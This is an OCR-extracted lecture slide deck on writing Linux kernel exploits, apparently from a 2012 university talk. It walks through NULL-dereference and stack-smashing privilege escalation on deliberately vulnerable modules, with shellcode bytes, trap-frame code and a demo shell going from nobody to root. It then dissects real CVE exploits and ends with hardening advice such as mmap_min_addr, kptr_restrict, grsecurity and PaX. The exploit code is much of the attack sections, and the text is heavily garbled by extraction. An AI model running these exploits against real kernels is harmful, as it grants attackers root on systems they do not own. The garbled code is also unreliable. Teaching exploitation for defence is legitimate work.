Date post: | 04-Jun-2018 |
Category: |
Documents |
Upload: | nebuloso01 |
View: | 223 times |
Download: | 0 times |
of 99
8/13/2019 exploting Kernel
1/99
Writing kernel exploits
Keegan McAllister
January 27, 2012
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
2/99
Why attack the kernel?
Total control of the system
Huge attack surface
Subtle code with potential for fun bugs
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
3/99
Kernel security
Kernel and user code coexist in memory
Kernel integrity depends on a few processor features:Separate CPU modes for kernel and user codeWell-dened transitions between these modesKernel-only instructions and memory
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
4/99
User vs. kernel exploits
Typical userspace exploit:Manipulate someone’s buggy program, locally or remotelyPayload runs in the context of that user
Typical kernel exploit:
Manipulate the local kernel using system callsPayload runs in kernel modeGoal: get root!
Remote kernel exploits exist, but are much harder to write
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
5/99
Scope
We’ll focus on the Linux kernel and 32-bit x86 hardware.
Most ideas will generalize.
References are on the last slides.
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
6/99
Let’s see some exploits!
We’ll look at
Two toy examples
Two real exploits in detailSome others in brief How to harden your kernel
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
7/99
NULL dereference
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
8/99
A simple kernel module
Consider a simple Linux kernel module.
It creates a le /proc/bug1 .
It denes what happens when someone writes to that le.
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
9/99
bug1.c
void (*my_funpt r ) ( void );
int bug1_wri te ( struct f il e * file ,c on st c ha r *buf ,unsigned long len ) {
my_funpt r ();return len;
}
int in i t_module( void ) {
crea te_proc_ent ry( "bug1" , 0666 , 0)- > w ri te _p ro c = b ug 1_ w ri te ;
return 0;}
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
10/99
The bug
$ echo foo > / proc / bug1
B UG: una bl e t o handl e kerne l NULL point er der ef e renceO op s : 0 00 0 [# 1] SM PPid : 1316 , co mm : b ashEIP is at 0x0C al l Trace :
[] ? bug1_wri te+0x9/0x10 [bug1][] ? proc_f i le_wri te+ 0x50/ 0x62
...[] ? sys_wri te+ 0x3c/ 0x63[] ? sysenter_do_cal l+ 0x12/ 0x28
Kernel jumped to address 0 because my_funptr was uninitialized
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
11/99
Exploit strategy
0xFFFFFFFF kernel memory
1 GB ← access in kernel mode only
0xC0000000 same for every process
0xBFFFFFFF
userspace memory
3 GB ← user or kernel can access
per process
0x00000000
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
12/99
Exploit strategy
0xFFFFFFFF kernel memory
0xC0000000
0xBFFFFFFF data
code
0x00000000 invalid
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
13/99
8/13/2019 exploting Kernel
14/99
Exploit strategy
0xFFFFFFFF kernel memory
0xC0000000
0xBFFFFFFF data
code
0x00000000 exploit payload ← memcpy(0, ...
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
15/99
Exploit strategy
0xFFFFFFFF kernel memory
0xC0000000
0xBFFFFFFF data
code
0x00000000 exploit payload ← kernel jumps here on
write to /proc/bug1
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
16/99
Proof of concept
// ma chi ne code for " jmp 0 x ba db ee f "char p a yl oa d [ ] = " \xe9\xea \xbe \xad\x0b" ;
int ma in ( ) { mmap (0 , 4096 , /* = one page */
P RO T_ RE AD | P RO T_ WR IT E | P RO T_ EX EC ,MAP_FIXED | M AP _P RI VATE | M AP _A NO NY MO US-1 , 0);
memcpy (0 , payload , s izeof (payload) ) ;
int fd = open ( " /proc /bug1" , O _W RO NLY ) ;wr i te ( fd , " foo" , 3);
}
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
17/99
Testing the proof of concept
$ s tr ac e ./ p oc 1... mmap2 (NULL , 4096 , . . .) = 0ope n ( "/ p roc /b u g1 " , O_WRONLY) = 3wri te (3 , " foo" , 3
+++ k il le d by S IG KI LL + ++
BUG : u na bl e to h an dl e k er ne l p ag in g r eq ue st at 0 ba db ee fO op s : 0 00 0 [# 3] SM PPid : 1442 , co mm : p oc1EIP is at 0xbadbeef
We control the instruction pointer. . . excellent .
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
18/99
Crafting a useful payload
What we really want is a root shell.
Kernel context is completely different from userspace.
We can’t just call system( "/bin/sh" ) .
But we can mess with process credentials directly!
Give root credentials to the current process:
commit_creds(prepare_kerne l_cred(0) ) ;
(needs Linux ≥ 2.6.29)
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
19/99
/proc/kallsyms
To call a kernel function, we need its address.
$ g re p _ cr ed / p ro c / k al ls ym sc104800f T p repare_kerne l_c red
c 10 48 17 7 T c om m it _ cr e ds.. .
We’ll hardcode values for this one kernel.
A “production-quality” exploit would parse this le at runtime.
Keegan McAllister Writing kernel exploits
Th l d
8/13/2019 exploting Kernel
20/99
The payload
We’ll write this simple payload in assembly.
A kernel function takes its rst argument in %eax.
Return value is in %eax, as usual.
xor %eax , %eax # % eax := 0call 0xc104800f # p repa re_kerne l_c redcall 0xc1048177 # c o mm i t_ c re d sret
Keegan McAllister Writing kernel exploits
A bli h l d
8/13/2019 exploting Kernel
21/99
Assembling the payload
Tell gcc that the payload will run from address 0
$ gcc -o payload payload . s \-nostdl ib -Ttext =0
Keegan McAllister Writing kernel exploits
E t ti hi d
8/13/2019 exploting Kernel
22/99
Extracting machine code
$ o bj dum p -d pa ylo ad00000000 :
0: 31 c0 xor % eax ,% eax2: e8 08 80 04 c1 call c104800f7: e8 6b 81 04 c1 call c1048177
c: c3 ret
char p a yl oa d [ ] =" \x31\xc0"
" \xe8\x08\x80\x04\xc1"" \xe8\x6b\x81\x04\xc1"" \xc3" ;
Keegan McAllister Writing kernel exploits
A ki g l it
8/13/2019 exploting Kernel
23/99
A working exploit
int ma in ( ) { mmap (0 , . . . /* as before */ . . . ) ; memcpy (0 , payload , s izeof (payload) ) ;
int fd = open ( " /proc /bug1" , O _W RO NLY ) ;wr i te ( fd , " foo" , 3);
sys tem( " /b in /sh" );
}
Keegan McAllister Writing kernel exploits
Testing the exploit
8/13/2019 exploting Kernel
24/99
Testing the exploit
$ iduid=65534( nobody ) g id = 65 53 4( nogroup )$ gcc - st at ic -o e xpl oi t1 ex pl oi t1 . c$ ./ e xp lo it 1# iduid=0( root ) gid = 0( root )
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
25/99
8/13/2019 exploting Kernel
26/99
Stack smashing
Keegan McAllister Writing kernel exploits
bug2 c
8/13/2019 exploting Kernel
27/99
bug2.c
bug2.ko creates /proc/bug2 , with this write method:
int bug2_wri te ( struct f il e * file ,c on st c ha r *buf ,unsigned long len ) {
char loca lbuf [8] ; memcpy ( localbuf , buf , len );return len;
}
Keegan McAllister Writing kernel exploits
Stack smashing
8/13/2019 exploting Kernel
28/99
Stack smashing
stack grows ↑ localbuf[0]...
localbuf[7]
other local state...
return address → caller’s code
caller’s stack framelarger addresses ↓
...
Keegan McAllister Writing kernel exploits
Stack smashing
8/13/2019 exploting Kernel
29/99
Stack smashing
stack grows ↑ localbuf[0]...
localbuf[7]
overwritten...
overwritten → exploit payload
caller’s stack framelarger addresses ↓
...
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
30/99
Return from kernel mode
8/13/2019 exploting Kernel
31/99
Return from kernel mode
Stack is trashed, so our payload can’t return normally.
We could x up the stack, but that’s boring.
Instead, let’s jump directly to user mode.
Keegan McAllister Writing kernel exploits
System call mechanism
8/13/2019 exploting Kernel
32/99
System call mechanism
Normal function calls:
Use instructions call and retHardware saves return address on the stack
User → kernel calls:
Cross a privilege boundaryUse instructions int and iret
Hardware saves a “trap frame” structure on the stack
Keegan McAllister Writing kernel exploits
Trap frame
8/13/2019 exploting Kernel
33/99
ap a e
A trap frame records process state at the time of a system calliret reads this state from the stack and returns to user mode
struct t r ap _f r am e {void * eip ; // i ns t ru ct i on p oi nt eru in t3 2_ t cs ; // c od e s eg me ntu int32_ t e f lags ; // CPU flagsvoid * esp ; // s ta ck p oi nt eru in t3 2_ t ss ; // s ta ck s eg me nt
} __at t r ibute__ (( packed ));
Keegan McAllister Writing kernel exploits
Building a fake trap frame
8/13/2019 exploting Kernel
34/99
g p
void launch_she l l ( void ) {
execl( " /b in / sh" , " sh" , N UL L );}
struct t r a p_ f ra me tf ;
void prepare_ t f ( void ) {asm ( " pushl % cs ; popl tf +4; "
" pushfl ; popl tf +8; "" p us hl % esp ; p op l tf + 12 ; "" pushl % ss ; popl tf +16; " );
tf . eip = & l a un ch _s he ll ;tf . esp -= 1 02 4; // u nu sed part of s tack
}
Keegan McAllister Writing kernel exploits
The payload
8/13/2019 exploting Kernel
35/99
p y
// K er ne l f un ct io ns ta ke args in r eg is te rs
#def ine KERNCALL __at t r ibute__ (( regparm (3)))
void * (*prepa re_kerne l_c red ) ( void *) KERNCALL= ( void *) 0 x c 1 04 80 0f ;
void (*commit_creds) ( void *) KERNCALL= ( void *) 0 x c 1 04 81 77 ;
void payload( void ) {commit_creds(prepare_kerne l_cred(0) ) ;asm ( " mov $tf , % esp ; "
" i re t ; " );}
Keegan McAllister Writing kernel exploits
Triggering the exploit
8/13/2019 exploting Kernel
36/99
gg g p
int ma in ( ) {char buf[20] ;*(( void **) ( buf + 16 )) = & p ay lo ad ;
prepare_ t f ( ) ;
int fd = open ( " /proc /bug2" , O _W RO NLY ) ;w ri te ( fd , buf , s izeof (buf ) ) ;
}
Keegan McAllister Writing kernel exploits
Pitfalls with iret
8/13/2019 exploting Kernel
37/99
Payload iret bypasses kernel’s cleanup paths
Could leave locks held, wrong reference counts, etc.Payload can x these things explicitly
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
38/99
Real exploits
8/13/2019 exploting Kernel
39/99
Enough toys. . .
Let’s see some real exploits
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
40/99
linux-rds-exploit.c
Keegan McAllister Writing kernel exploits
Userspace address checks
8/13/2019 exploting Kernel
41/99
Some syscalls write to a user-specied address
Kernel must explicitly check that the destination is in userspace
If address > 0xBFFFFFFF, return error
Sometimes they forget. . .
Keegan McAllister Writing kernel exploits
linux-rds-exploit
8/13/2019 exploting Kernel
42/99
CVE–2010–3904: bug in Reliable Datagram Sockets codeAffects Linux 2.6.30 through 2.6.35
Bug reported by Dan Rosenberg in October 2010
The handling functions for sending and receiving RDS messages use unchecked copy * user inatomicfunctions without any access checks on user-provided pointers. As a result, by passing a kernel address as aniovec base address in recvmsg -style calls, a local user
can overwrite arbitrary kernel memory , which can easily be used to escalate privileges to root.
Keegan McAllister Writing kernel exploits
linux-rds-exploit : overview
8/13/2019 exploting Kernel
43/99
We’ll look at Dan Rosenberg’s linux-rds-exploit.c .
Steps to exploit:
Look up kernel symbol addressesCreate a pair of RDS sockets for localhost“Receive” a message, overwriting a kernel function pointerCause the kernel to call that function pointer
Keegan McAllister Writing kernel exploits
linux-rds-exploit : resolving symbols
8/13/2019 exploting Kernel
44/99
/* t ha nk s s pe nd er . .. */unsigned long ge t_kerne l_sym( char * n ame ) {
FILE * f = fopen ( " /proc /ka l l syms" , " r" );. . .
get_kernel_sym is long but not very interesting
so ck _o ps = g e t_ ke rn el _s ym ( "rds_pro to_ops" );
r ds _i oc tl = g e t_ k er n el _ sy m ( " rds_ ioc t l " );
Keegan McAllister Writing kernel exploits
linux-rds-exploit : sockets
8/13/2019 exploting Kernel
45/99
Create an RDS socketint prep_sock( int port) ;
Send and receive packets containing one unsigned long
void ge t_message ( unsigned long address , int sock);void send_message( unsigned long value , int sock);
Implemented using sockets API in a straightforward way
The kernel bug means get_message can write into kernel memory.
Keegan McAllister Writing kernel exploits
linux-rds-exploit : arbitrary kernel write
8/13/2019 exploting Kernel
46/99
void wr i te_ to_mem( unsigned long addr ,unsigned long value ,int send sock ,int r e cv so ck ) {
if (! f or k ()) {s leep(1) ;send_message( value , s en ds oc k ) ;exi t (1) ;
} else {ge t_message( addr , r ec vs oc k ) ;
wai t (NULL);}}
Keegan McAllister Writing kernel exploits
linux-rds-exploit : choosing a target
8/13/2019 exploting Kernel
47/99
Which kernel function pointer shall we overwrite?
RDS has a struct dening handlers for each le operation
Overwrite the pointer for ioctl
Then call ioctl on one of our sockets
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
48/99
8/13/2019 exploting Kernel
49/99
Linux security practices
8/13/2019 exploting Kernel
50/99
Security xes are buried in irrelevant-looking commits
Mainline kernel developers do not reliably track bugs and xes
Distributions have to do detective workand they frequently make mistakes
That said, it’s not an easy problem!
Keegan McAllister Writing kernel exploits
The danger of obscure modules
8/13/2019 exploting Kernel
51/99
RDS has few users, therefore many bugs
Most distros ship with RDS support
Many will load the module automatically, on demand
The same holds for hundreds of network protocols, drivers, etc.
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
52/99
full-nelson.c
Keegan McAllister Writing kernel exploits
full-nelson
8/13/2019 exploting Kernel
53/99
Exploit published by Dan Rosenberg in December 2010
Affects Linux through 2.6.36Combines three bugs reported by Nelson Elhage
Keegan McAllister Writing kernel exploits
clear child tid
8/13/2019 exploting Kernel
54/99
Linux has a feature to notify userspace when a thread diesUser provides a pointer during thread creationKernel will write 0 there on thread death
kernel/fork.c:
void mm_re lease( struct t a sk_s truc t * t sk ,struct m m_ st ru ct * mm ) {
.. .if ( tsk ->c lea r_chi ld_t id ) {
. . .pu t_use r (0 , tsk ->c lea r_chi ld_t id ) ;
Keegan McAllister Writing kernel exploits
set fs(KERNEL DS)
8/13/2019 exploting Kernel
55/99
put_user checks that it’s writing to user memory.But sometimes the kernel disables these checks:
se t_fs (KERNEL_DS);.. .pu t_use r (0 , po in te r_ to_kerne l_memory );.. .se t_fs (USER_DS);
Sounds like trouble. . .
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
56/99
In search of KERNEL DS
8/13/2019 exploting Kernel
57/99
Linux regularly gets new system calls.Old drivers support new syscalls through compatibility layers.
These often use set_fs(KERNEL_DS) to disable pointer checks,
because they’ve already copied data to kernel memory.
So let’s nd an old, obscure driver which:
uses these compat layers
has a NULL deref or other dumb bug
Keegan McAllister Writing kernel exploits
Dumb bugs, you say?
8/13/2019 exploting Kernel
58/99
Linux supports Econet, a network protocol used by British homecomputers from 1981.
Nobody uses this, but distros still ship it
econet.ko is full of holes: 5 discovered since 2010
Loads itself automatically!
Keegan McAllister Writing kernel exploits
Way back in February 2003. . .
8/13/2019 exploting Kernel
59/99
Author : Rusty Russe ll < rus ty@rus tcorp .com.au>
Date : Mon Feb 1 0 1 1:38:29 2003 -0800
[ E CO NE T ]: Ad d c om me nt to p oi nt out a bu g s po tt edby J oe rn E ng el .
- - - a /net / econe t / a f_econe t . c
+++ b /net / econe t / a f_econe t . c@@ -338 ,6 +33 8 ,7 @@
eb = ( s tr uc t e c_ cb *)& skb - > c b;
+ /* B UG : saddr may b e NULL * /
eb ->c o ok ie = s addr ->cooki e ;eb - > s ec = * s ad dr ;eb ->se nt = ec_ tx_done ;
Keegan McAllister Writing kernel exploits
Seven years later
8/13/2019 exploting Kernel
60/99
CVE–2010–3849, reported in November 2010
The econet sendmsg function innet/econet/af econet.c in the Linux kernel before 2.6.36.2, when an econet address is congured, allows local users to cause a denial of service (NULL pointer dereference and OOPS ) via a sendmsg call that species a NULL value for the remote address eld.
Keegan McAllister Writing kernel exploits
splice syscall: gateway to KERNEL DS
8/13/2019 exploting Kernel
61/99
The splice syscall uses a per-protocol helper, sendpage
econet ’s sendpage is a compatibility layer:struct p ro to _o ps e co ne t_ op s = {
. sendpage = sock_no_sendpage ,
which calls this function:int kerne l_sendmsg( struct s oc ke t * sock , . . .
se t_fs ( KERNEL_DS);. . .
r es ul t = sock_sendmsg ( sock , msg , s iz e );}
which will call the buggy econet_sendmsg .
Keegan McAllister Writing kernel exploits
CVE–2010–3850
8/13/2019 exploting Kernel
62/99
To reach this crash, we need an interface with an Econet address.
Good thing there’s another bug:
The ec dev ioctl function innet/econet/af econet.c in the Linux kernel before 2.6.36.2 does not require the CAP NET ADMIN capability,which allows local users to bypass intended access restrictions and congure econet addresses via an
SIOCSIFADDR ioctl call.
Keegan McAllister Writing kernel exploits
full-nelson : overview
8/13/2019 exploting Kernel
63/99
Steps to exploit:
Create a threadSet its clear_child_tid to an address in kernel memoryThread invokes splice on an Econet socket; crashesKernel writes 0 to our chosen addressWe exploit that corruption somehow
Keegan McAllister Writing kernel exploits
full-nelson : exploiting a zero write
8/13/2019 exploting Kernel
64/99
On i386 , kernel uses addresses 0xC0000000 and up.
Use the bug to clear the top byte of a kernel function pointer.
Now it points to userspace; stick our payload there.
Same on x86_64 , except we clear the top 3 bytes.
Keegan McAllister Writing kernel exploits
full-nelson : preparing the landing zone
8/13/2019 exploting Kernel
65/99
We will overwrite the econet_ioctl function pointer, within the
econet_ops structure.OFFSET = number of bytes to clobber (1 or 3)
t arge t = econet_ops + 10 * sizeof ( void *) - O FF SE T;
/* C lear the hi gh er bits */l anding = econet_ioct l < < SH IFT >> SH IFT;
mmap (( void * )( l and in g & ~0 x fff ) , 2 * 4096 ,PR OT_READ | PROT_WRITE | PROT_EXEC ,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED , 0 , 0 );
memcpy (( void *) landing , &trampol ine , 1024) ;
Keegan McAllister Writing kernel exploits
full-nelson : payload trampoline
8/13/2019 exploting Kernel
66/99
“ Why do I do this? Because on x86-64 , the address of commit creds and prepare kernel cred are loaded relative to rip , which means I can’t just copy the above payload into my landing area.”
void __a tt r ibu te__ (( regparm (3)))t ra mp o li ne () {#ifdef __x86_64__
asm ( " m ov $ ge tr oo t , % r ax ; c al l *% r ax ; " );#else
asm ( " m ov $ ge tr oo t , % e ax ; c al l *% e ax ; " );#endif}
Keegan McAllister Writing kernel exploits
full-nelson : opening les
8/13/2019 exploting Kernel
67/99
splice requires that one endpoint is a pipe
int f i ldes[4] ;
p ipe( f i ldes ) ;f i ldes [2 ] = socke t (PF_ECONET , SOCK_DGRAM , 0 );f il de s [ 3] = o pen ( " /dev /ze ro" , O _R DO NLY ) ;
Keegan McAllister Writing kernel exploits
full-nelson : spawning a thread
8/13/2019 exploting Kernel
68/99
See man clone for the gory details
n ew st ac k = m al lo c ( 65 53 6) ;
c lone(( int (*)( void *)) trigger ,( void *)(( unsigned long ) n ew st ac k + 655 36) ,C LO NE _V M | CLONE_CHILD_CLEARTID | SIGCHLD ,&f i ldes , NULL , NULL , target );
Keegan McAllister Writing kernel exploits
full-nelson : the thread
8/13/2019 exploting Kernel
69/99
Splice /dev/zero to pipe, then splice pipe to socket
int t r igger ( int * f i ldes ) {struct i fr eq i fr ; memset (& ifr , 0 , s izeof ( i f r ) ) ;s t rncpy( i f r. i f r_name , "e th0" , I FN AM SI Z ) ;
ioc t l ( f i ldes [2] , SIOCSIFADDR , & ifr ) ;
spl ice ( f i ld es [3] , NULL ,f il de s [1] , NULL , 128 , 0);
spl ice ( f i ld es [0] , NULL ,f il de s [2] , NULL , 128 , 0);
}
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
70/99
8/13/2019 exploting Kernel
71/99
full-nelson : demo screenshot
8/13/2019 exploting Kernel
72/99
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
73/99
Some other exploits
Keegan McAllister Writing kernel exploits
i-CAN-haz-MODHARDEN.c
8/13/2019 exploting Kernel
74/99
Heap corruption exploit by Jon Oberheide, September 2010CVE–2010–2959: integer overow in CAN BCM sockets
Force a bcm_op to allocate into a too-small spaceCall send to overwrite an adjacent structure
Problem: memset later in the send path will ruin the write
Solution: send from a buffer which spans into unmapped memory
The copy will fault and return to userspace early
Keegan McAllister Writing kernel exploits
half-nelson.c
8/13/2019 exploting Kernel
75/99
Exploit by Jon Oberheide, September 2011
Not a buffer overowInstead, overow the kernel stack itself into adjacent memory
CVE–2010–3848: Unbounded stack alloc. Another econet bug!CVE–2010–4073: Info leak reveals address of kernel stack
fork until we get two processes with adjacent stacks
Overow one stack to overwrite return addr on the other stack
Keegan McAllister Writing kernel exploits
CVE–2007–4573, CVE–2010–3301
8/13/2019 exploting Kernel
76/99
Linux nds system calls by index in a syscall table
Exploit uses ptrace to modify the index after bounds checking
Possible due to a bug in the code for 32-bit syscalls on x86_64
Reported by Wojciech Purczynski, xed in September 2007Reintroduced in July 2008Reported by Ben Hawkes and xed again in September 2010
Keegan McAllister Writing kernel exploits
ABftw.c
CVE 2010 3081 h b i ll l
8/13/2019 exploting Kernel
77/99
CVE–2010–3081: another bug in syscall compat layer
Reported by Ben Hawkes in September 2010
“Ac1dB1tch3z” released a weaponized exploit immediately
Customizes attack based on kernel version
Knowledge of specic Red Hat kernelsDisables SELinux
“ This exploit has been tested very thoroughly over the
course of the past few years on many many targets....FUCK YOU Ben Hawkes. You are a new hero! You saved the plan8 man. Just a bit too l8. ”
Keegan McAllister Writing kernel exploits
team-edward.py
8/13/2019 exploting Kernel
78/99
CVE–2010–1146: ReiserFS lets anyone modify any xattr
No memory corruption, just a logic error
Reported by Matt McCutchen
Exploit by Jon Oberheide, April 2010
Copy a shell binary and set the CAP_SETUID capability
Keegan McAllister Writing kernel exploits
american-sign-language.c
8/13/2019 exploting Kernel
79/99
ACPI species a virtual machine which kernels must implementCVE–2010–4347: Anyone can load custom ACPI code
Logic bug: bad le permissions in debugfs
Reported by Dave Jones
Exploit by John Oberheide, December 2010
Payload is written in ACPI Source Language (ASL)
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
80/99
Mitigation
Keegan McAllister Writing kernel exploits
Should you care about these bugs?
8/13/2019 exploting Kernel
81/99
Kernel exploits are mainly a concern for servers.
They’re also quite useful for jailbreaking smartphones.
On a typical desktop, there are many other ways to get root.
Keegan McAllister Writing kernel exploits
Staying up to date
ffi
8/13/2019 exploting Kernel
82/99
Keeping up with kernel updates is necessary, but hardly sufficient
CVE nickname introduced xed2006-2451 prctl 2.6.13 2.6.17.42007-4573 ptrace 2.4.x 2.6.22.72008-0009 vmsplice (1) 2.6.22 2.6.24.12008-0600 vmsplice (2) 2.6.17 2.6.24.22009-2692 sock_sendpage 2.4.x 2.6.312010-3081 compat_alloc_user_space 2.6.26 2.6.362010-3301 ptrace (redux) 2.6.27 2.6.36
2010-3904 RDS 2.6.30 2.6.362010-4258 clear_child_tid 2.6.0 2.6.37based on blog.nelhage.com/2010/09/a-brief-look-at-linuxs-security-record
Keegan McAllister Writing kernel exploits
Ksplice
8/13/2019 exploting Kernel
83/99
Ksplice updates the Linux kernel instantly, without rebooting.
Developed here at MIT, in response to a SIPB security incident
Commercial product launched in February 2010
Company acquired by Oracle in July 2011
Keegan McAllister Writing kernel exploits
Proactive security
8/13/2019 exploting Kernel
84/99
It’s not enough to patch vulnerabilities as they come up.
A secure system must frustrate whole classes of potential exploits.
Keegan McAllister Writing kernel exploits
Easy steps
Disallow mapping memory at low addresses:
8/13/2019 exploting Kernel
85/99
s ys ct l - w vm.mmap_min_addr =65536
Disable module auto-loading:
s ys ct l - w kerne l .modprobe =/b in / fa l se
Hide addresses in kallsyms (new as of 2.6.38):
s ys ct l - w kerne l .kp t r_res t r ic t =1
Hide addresses on disk, too:
c hm od o - r / b oo t /{ vmlinuz , System.map } -*
Keegan McAllister Writing kernel exploits
Beyond kallsyms
8/13/2019 exploting Kernel
86/99
Exploits can still get kernel addresses:
Scan the kernel for known patternsFollow pointers in the kernel’s own structuresBake in knowledge of standard distro kernelsUse an information-leak vulnerability (tons of these)
Keegan McAllister Writing kernel exploits
grsecurity
8/13/2019 exploting Kernel
87/99
There’s only so much you can do on a vanilla Linux kernel.
The grsecurity kernel patch can:
Frustrate and log attempted exploitsHide sensitive information from /proc and friendsEnhance chroot sLock down weird syscalls and processor featuresDo other neat things
Keegan McAllister Writing kernel exploits
PaX
8/13/2019 exploting Kernel
88/99
PaX is another patch which:Ensures that writable memory is never executableRandomizes addresses in kernel and userspaceErases memory when it’s freed
Checks bounds on copies between kernel and userspacePrevents unintentional use of userspace pointers
grsecurity includes PaX as well.
Keegan McAllister Writing kernel exploits
Disadvantages of grsecurity and PaX
8/13/2019 exploting Kernel
89/99
Some grsecurity / PaX features hurt performance or compatibility.
They may need conguration to suit your environment.
There’s also a question of testing and vendor support.
Keegan McAllister Writing kernel exploits
Bypassing PaX
S h bit k l it lik th RDS b g
8/13/2019 exploting Kernel
90/99
Say we have an arbitrary kernel write, like the RDS bug.
With randomized addresses, we don’t know where to write to!
Oberheide and Rosenberg’s “stackjacking” technique:
Find a kernel stack information leakUse this to discover the address of your kernel stackMess with active stack frames to get an arbitrary readUse that to locate credentials struct and escalate privs
Info leaks are extremely common — over 25 reported in 2010
Keegan McAllister Writing kernel exploits
What about virtualization?
8/13/2019 exploting Kernel
91/99
Kernels are huge, buggy C programs.
Many people have given up on OS security.
Virtual machines will save us now?
Keegan McAllister Writing kernel exploits
Vulnerability of VMs
8/13/2019 exploting Kernel
92/99
VM hypervisors are. . . huge, buggy C programs.
CVE–2011–1751: KVM guest can corrupt host memory
Code execution exploit: virtunoid by Nelson Elhage
CVE–2011–4127: SCSI commands pass from virtual to real disk
Guest can overwrite les used by host or other guests
Keegan McAllister Writing kernel exploits
Defense in depth
8/13/2019 exploting Kernel
93/99
Rooting the guest is a critical step towards attacking the host
Guest kernel security provides defense in depth
Keegan McAllister Writing kernel exploits
8/13/2019 exploting Kernel
94/99
References
Keegan McAllister Writing kernel e ploits
References, 1 of 4
8/13/2019 exploting Kernel
95/99
“Attacking the Core: Kernel Exploiting Notes”http://phrack.org/issues.html?issue=64&id=6
A Guide to Kernel Exploitation: Attacking the Core
ISBN 978–1597494861http://attackingthecore.com/
by Enrico Perla (twiz ) and Massimiliano Oldani (sgrakkyu )
K g M Alli t W iti g k l l it
References, 2 of 4
Remote exploits
8/13/2019 exploting Kernel
96/99
vulnfactory.org/research/defcon-remote.pdf
mmap_min_addrlinux.git: ed0321895182ffb6ecf210e066d87911b270d587blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
Basics of stack smashinginsecure.org/stf/smashstack.html
Stack canary bypassPerla and Oldani, pg. 85
CVE–2010–3904 (RDS)vsecurity.com/resources/advisory/20101019–1vsecurity.com/download/tools/linux-rds-exploit.c
K M Alli t W iti k l l it
References, 3 of 4CVE–2010–4258 (clear_child_tid )
archives.neohapsis.com/archives/fulldisclosure/2010–12/0086.html
8/13/2019 exploting Kernel
97/99
blog.nelhage.com/2010/12/cve–2010–4258-from-dos-to-privesc
CVE–2010–2949 (CAN)sota.gen.nz/af can jon.oberheide.org/les/i-can-haz-modharden.c
CVE–2010–3848 (kernel stack overow) jon.oberheide.org/les/half-nelson.c
CVE–2007–4573, CVE–2010–3301 (syscall number ptrace )securityfocus.com/archive/1/archive/1/480451/100/0/threadedsota.gen.nz/compat2
CVE–2010–3081sota.gen.nz/compat1packetstormsecurity.org/1009-exploits/ABftw.c
K M Alli t W iti k l l it
8/13/2019 exploting Kernel
98/99
8/13/2019 exploting Kernel
99/99
Questions?
Slides online at http://t0rch.org
Alli i i k l l i